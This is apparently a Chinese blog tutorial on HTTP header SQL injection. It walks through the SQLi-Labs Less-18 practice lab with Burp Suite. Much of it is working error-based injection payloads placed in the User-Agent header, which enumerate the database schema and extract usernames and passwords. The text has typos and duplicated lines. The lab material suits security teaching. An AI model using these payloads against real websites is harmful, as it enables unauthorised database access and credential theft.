SOL注入——HTTP头部注入(六)

本章目的
普及HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理、方法及基本流程。

HTTPHeader概述

>请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行
(Request-Line)、请求头域(Header-Field)和请求体(Entity-Body)。
>响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行
(Status-Line)、响应头域(Header-Field)和响应体(Entity-Body)。

HTTPHeader注入
有时候,后台开发人员为了验证客户端HTTPHeader(比如常用的Cookie验证等)或者通过HTTPHeader头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTPHeader进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTPHeader的注入漏洞

HTTPHeader注入的前提条件
>能够对请求头消息进行修改
>修改的请求头信息能够带入数据库执行
>数据库没有对输入的请求头做过滤

常见的HTTPHeader注入类型
>Cookie注入
>Referer注入
>User-Agent注入
>XFF注入

方法描述
GET请求指定的页面信息,并返回实体主体。
HEAD类似于GET请求,只不过返回的响应中没有具体的内容,用于获取报头。
 
POST向指定资源提交数据进行处理请求(例如提交表单或者上传文件),数据被包含在请求体中。POST请求可能会导致新的资源的建立或已有资源的修改。
PUT从客户端向服务器传送的数据取代指定的文档内容。
DELETE请求服务器删除指定的页面。
CONNECTHTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
OPTIONS允许客户端查看服务器的性能。
TRACE回显服务器收到的请求,主要用于测试或诊断。
PATCH是对PUT方法的补充,用来对已知资源进行局部更新。
类别状态码信息性
1XX请求正在处理请求正在处理
2XX成功请求正常处理完毕
3XX重定向需要进行附加操作以完成请求
4XX客户端错误服务器无法处理请求
5XX服务器处理请求错误服务器错误

HTTPHeader内容
User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的
网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
Cookie:网站为了辩别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常
经过加密)。
Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号。
X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些
网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实
现伪造IP])。
client-IP:同上。
Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。

实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:sqlmapBurpsuite、FireFox浏览器及其插件Hackbar、

(3)登录账号密码:操作系统帐号Administrator,密码gml
靶机:A-SQLi-Labs
(1)操作系统:本机(建议用虚拟机)不过我太懒了[]~( ̄▽ ̄)~*
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、

webug3.0下载环境搭建
(3)登录账号密码:操作系统帐号root,密码999

实验原理

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTPHeader进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTPHeader注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等

实验步骤
本实验的目标是:以SQLi-Labs网站的Less-18为入口,利用报错注入的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访间SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问粑机A-SQLi-Labs上的
SQLi-Labs网站Less-18。访问的URL为:

http://[靶机IP]/sqli-labs/less-18/

(注意大小写)

2.利用Burpsuite工具抓包

具体安装调试前4步抓包过程懒得再写了,参考上面链接吧        (*^_^*)

(5)利用Burpsuite工具拦截HTTP请求包在FireFox浏览器访问的Less-18登录验证界面,输入用户名admin、密码admin,然后点击Submit按钮,可以看到已经抓到了

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。

点击Axtion进行选择解析

亦可选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择

“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

后续的步骤中,可以在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应。


3.寻找注入点
在原始HTTP请求包的头部字段User-Agent末尾添加单引号,即更改使用如下
payload:
Usen-Agent:Mozilla/5.0
...Firefox/97.0'

'

发现服务器端报错!

 在原始HTTP请求包的头部字段User-Agent末尾添加如下符号,使用如下
payload
User-Agent:Mozilla/5.0..
.Firefox/97.0','','')#

','','')#

服务器端未报错!

 由此可以判断,目标网站在POST参数处存在字符型注入点。
注:如果在服务器端(靶机)上查看Less-18的php代码,会发现其中存在这样
段代码;
$insert="INSERT INTO  security'.uagents'(uagent','ip_address','username')
VALUES($uagent','$IP',$uname)";

$insert="INSERT INTO  security'.uagents'(uagent','ip_address','username')
VALUES($uagent','$IP',$uname)";

这也是一种基于Insert的注入场景。
4.获取网站当前所在数据库的库名
使用以下payload获取网站当前所在数据库的库名:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~' ,database())),'','')#

'and extractvalue(1,concat('~' ,database())),'','')#

显示结果为security。

 5.获取数据库security的全部表名
使用以下payload获取数据库security的全部表名:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可以改为:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#

//显示security库中的第1张表的名字

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))),'','')#

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))),'','')#

 //显示security库中的第2张表的名字

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')#

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')#

//显示security库中的第3张表的名字

...

6.获取 users表的全部字段名

使用以下 payload获取 users表的全部字段名

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0  'and extractvalue(1, concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

'and extractvalue(1, concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

显示结果,uses表中有id、 username和 password三个字段

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为;

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0  'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0  'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')#

'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')#

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0  'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))),'','')#

'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))),'','')#

7.获取 users表id、 username和 password字段的全部值由于 users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit mn的方式逐条显示,如

(1)显示第1组数据

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 0,1))),'','')#

' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 0,1))),'','')#

显示结果为Dump,Dump

(2)显示第2组数据
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 1,1))),'','')#

' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 1,1))),'','')#

(3)显示第3组数据

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 2,1))),'','')#

' and extractvalue(1,concat('~',(select concat_ws(',',id, username,password) from security.users limit 2,1))),'','')#

显示结果为Dummy,p@ssword。

 。。。

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。

使用phpstudy搭建渗透测试靶场环境

SQL注入 ——sql数据库操作基础(一)

SOL注入——基于联合查询的数字型GET注入(二)

...

更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值